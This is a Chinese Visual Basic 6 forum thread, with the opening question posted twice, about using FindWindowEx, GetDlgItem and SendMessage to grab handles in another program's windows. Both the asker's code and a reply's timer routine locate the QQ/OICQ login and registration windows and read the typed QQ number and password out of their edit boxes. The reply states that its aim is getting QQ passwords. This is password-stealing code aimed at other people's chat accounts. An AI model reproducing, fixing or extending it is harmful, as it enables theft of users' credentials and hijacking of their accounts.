我用findwindowex查找窗口内部的一个combobox的句柄,可是总是返回为0,这是为什么啊?
我在一个程序中可以得到一个窗口内的两个text的句柄,但是,用同样的方法却不能得到另一个窗口内的text的句柄....这是为什么啊?
得到text::
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ用户登录")
If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ用户登录")
'是主登录窗口
If LoginHwnd <> 0 Then
'获取号码
PassHwnd = FindWindowEx(QQLoginHwnd, 0, "ComboBox", vbNullString)
tmp1 = SendMessage(PassHwnd, CB_GETCURSEL, ByVal CLng(0), ByVal CLng(0))
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXTLEN, ByVal tmp1, ByVal CLng(0))
QQUserWord = Space(Tmp2)
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXT, ByVal tmp1, ByVal UserWord)
UserWord = Left(UserWord, Tmp2)
'获取密码
PassHwnd = FindWindowEx(LoginHwnd, 0, "Edit", vbNullString)
tmp1 = SendMessage(PassHwnd, &HE, 0, 0)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If'是"注册向导"窗口
LoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ 注册向导")
If LoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ 注册向导")
If LoginHwnd <> 0 Then
'查找号码框 和 密码框
tmp1 = FindWindowEx(QQLoginHwnd, 0, "#32770", vbNullString)
UserHwnd = FindWindowEx(tmp1, 0, "Edit", vbNullString)
PassHwnd = FindWindowEx(tmp1, UserHwnd, "Edit", vbNullString)
'取得号码
tmp1 = SendMessage(UserHwnd, &HE, 0&, 0&)
UserWord = Space(tmp1)
SendMessageByString QQUserHwnd, &HD, tmp1 + 1, QQUserWord
'取得密码
tmp1 = SendMessage(PassHwnd, &HE, 0&, 0&)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If'登录完毕
MainForm = FindWindowEx(0, 0, "#32770", vbNullString)
Do While MainForm
If FindWindowEx(MainForm, 0, "AfxWnd42s", vbNullString) Then
IsLogin = True
AddUser
Exit Do
End If
MainForm = FindWindowEx(0, MainForm, "#32770", vbNullString)
Loop
得到text的方法在别的得到别的程序的时候为什么就不能用呢? 至于combobox根本就找不到他的句柄................ 高手哥哥帮忙啊~~~~~~~~~~~~~~~~~~~`
无论晴天也好,雨天也好,我希望和你一起度过~~~~~风笛~~~:)
我在一个程序中可以得到一个窗口内的两个text的句柄,但是,用同样的方法却不能得到另一个窗口内的text的句柄....这是为什么啊?
得到text::
QQLoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ用户登录")
If QQLoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ用户登录")
'是主登录窗口
If LoginHwnd <> 0 Then
'获取号码
PassHwnd = FindWindowEx(QQLoginHwnd, 0, "ComboBox", vbNullString)
tmp1 = SendMessage(PassHwnd, CB_GETCURSEL, ByVal CLng(0), ByVal CLng(0))
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXTLEN, ByVal tmp1, ByVal CLng(0))
QQUserWord = Space(Tmp2)
Tmp2 = SendMessage(PassHwnd, CB_GETLBTEXT, ByVal tmp1, ByVal UserWord)
UserWord = Left(UserWord, Tmp2)
'获取密码
PassHwnd = FindWindowEx(LoginHwnd, 0, "Edit", vbNullString)
tmp1 = SendMessage(PassHwnd, &HE, 0, 0)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If'是"注册向导"窗口
LoginHwnd = FindWindowEx(0, 0, "#32770", "OICQ 注册向导")
If LoginHwnd = 0 Then QQLoginHwnd = FindWindowEx(0, 0, "#32770", "QQ 注册向导")
If LoginHwnd <> 0 Then
'查找号码框 和 密码框
tmp1 = FindWindowEx(QQLoginHwnd, 0, "#32770", vbNullString)
UserHwnd = FindWindowEx(tmp1, 0, "Edit", vbNullString)
PassHwnd = FindWindowEx(tmp1, UserHwnd, "Edit", vbNullString)
'取得号码
tmp1 = SendMessage(UserHwnd, &HE, 0&, 0&)
UserWord = Space(tmp1)
SendMessageByString QQUserHwnd, &HD, tmp1 + 1, QQUserWord
'取得密码
tmp1 = SendMessage(PassHwnd, &HE, 0&, 0&)
PassWord = Space(tmp1)
SendMessageByString PassHwnd, &HD, tmp1 + 1, PassWord
GoTo Quit1:
End If'登录完毕
MainForm = FindWindowEx(0, 0, "#32770", vbNullString)
Do While MainForm
If FindWindowEx(MainForm, 0, "AfxWnd42s", vbNullString) Then
IsLogin = True
AddUser
Exit Do
End If
MainForm = FindWindowEx(0, MainForm, "#32770", vbNullString)
Loop
得到text的方法在别的得到别的程序的时候为什么就不能用呢? 至于combobox根本就找不到他的句柄................ 高手哥哥帮忙啊~~~~~~~~~~~~~~~~~~~`
无论晴天也好,雨天也好,我希望和你一起度过~~~~~风笛~~~:)
解决方案 »
- 串口数据接收不全,还有哪里进行设置?
- 多次打开excel并插入图片,显示对象变量或块变量未定义
- ListView如何添加内容? 新手
- VB动态调用dll问题
- 请问用什么参数可以得到exe文件内图标的标号
- 求简单SQL语句
- 急!!请教,vb中如何把十六进制数转换为十进制
- 如何移动treeview得整个节点(包括子节点)--最好是比较简单得方法
- 如何在程序运行当中随时知道Form中的当前具有焦点的控件的名字,并且知道上一个具有焦点的控件的名字
- 难道vb6.0(sp5)打包向导真的不能用吗?,请高手帮忙!!!!
- InstallShield 6.22 简单问题,谢谢!
- 每次读取注册表时,程序就出错并自动退出,请各位大侠检查一下原代码:(操作系统Win98)
Public Declare Function GetCursorPos Lib "user32" Alias "GetCursorPos" (lpPoint As POINTAPI) As Long
Public Declare Function WindowFromPoint Lib "user32" Alias "WindowFromPoint" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function ChildWindowFromPointEx Lib "user32" Alias "ChildWindowFromPointEx" (ByVal hWnd As Long, ByVal pt As POINTAPI, ByVal un As Long) As Long
【说明】
返回父窗口中包含了指定点的第一个子窗口的句柄
【返回值】
Long,发现包含了指定点的第一个子窗口的句柄。如未发现任何窗口,则返回hWnd(父窗口的句柄)。如指定点位于父窗口外部,则返回零
【参数表】
hWnd ----------- Long,父窗口的句柄
xPoint
Long,点的X坐标,以像素为单位
yPoint
Long,点的Y坐标,以像素为单位 pt ------------- POINTAPI,点的坐标,以像素为单位 un ------------- Long,(只适用于ChildWindowFromPointEx)控制对窗口的搜索。参见下表
CWP_ALL
测试所有窗口
CWP_SKIPINVISIBLE
忽略不可见窗口
CWP_SKIPDISABLED
忽略已屏蔽的窗口
CWP_SKIPTRANSPARENT
忽略透明窗口
Private Declare Function GetDlgItem Lib "user32" Alias "GetDlgItem" (ByVal hDlg As Long, ByVal nIDDlgItem As Long) As Long
说明
用来得到一个窗体子窗体的句柄,如一个按钮等
参数表 类型及说明
hwnd 父窗体的句柄
niddlgitem 子窗体的ID号码 OK,有了这三个API,那么我们可以进入主题了,其它用这三个API可以干很多的事情哦。
很明显要获取的QQ密码,肯定要先找到它的句柄,肯定想到了,用一个时间控件,然后再用Findwidow这个api就可以了.具本代码如下:
Private Sub Timer1_Timer()
Dim str As String
Dim nmb As String
Dim qqhwnd As Long
Dim numberhwnd As Long
Dim pwdhwnd As Long
Dim temp As Long
str = String(80, 0)
nmb = String(8, 0)
qqhwnd = FindWindow(vbNullString, "QQ用户登录")
'到这里就可以得到登录框的句柄了.注意qq要大写哦!
If qqhwnd <> 0 Then
numberhwnd = GetDlgItem(qqhwnd, &H3EC) '得到用户号码框的名柄
pwdhwnd = GetDlgItem(qqhwnd, &H3F4) '得到密码框的句柄
'getdlgitem你肯定会用了,那么&h3ec是那里来的呀,这个便是它的ID号,那么怎么得到呢?你用vc++中的工具 SPYXX就可以得到了.
SendMessage pwdhwnd, WM_GETTEXT, Len(str), ByVal str '得到号码
SendMessage numberhwnd, WM_GETTEXT, Len(nmb), ByVal nmb '得到密码
notxt.Text = nmb
pwdtxt.Text = str
DoEvents
End If
End Sub
云: 用qqhwnd = FindWindow(vbNullString, "QQ用户登录")是不能得到qq的窗口的,我得到他的窗口标题,是一个类似与1的东西,贴到别的地方就换行..不能放在findwindow的第二个参数中使用.....所以,不成功....spyxx,我在启动vc++以后,没有找到这个工具哦....我很笨,请指教~~~~~~~~~~~~谢谢~~~~~~~
帆:怎么确定一个窗口的子窗口的坐标啊?我不会定义他的参数...就是ChildWindowFromPointEx 的第二个参数,pointapi型......请指教,谢谢~~~~~~~~~~~~~
x as long
y as long
end typept的坐标指在父窗体的坐标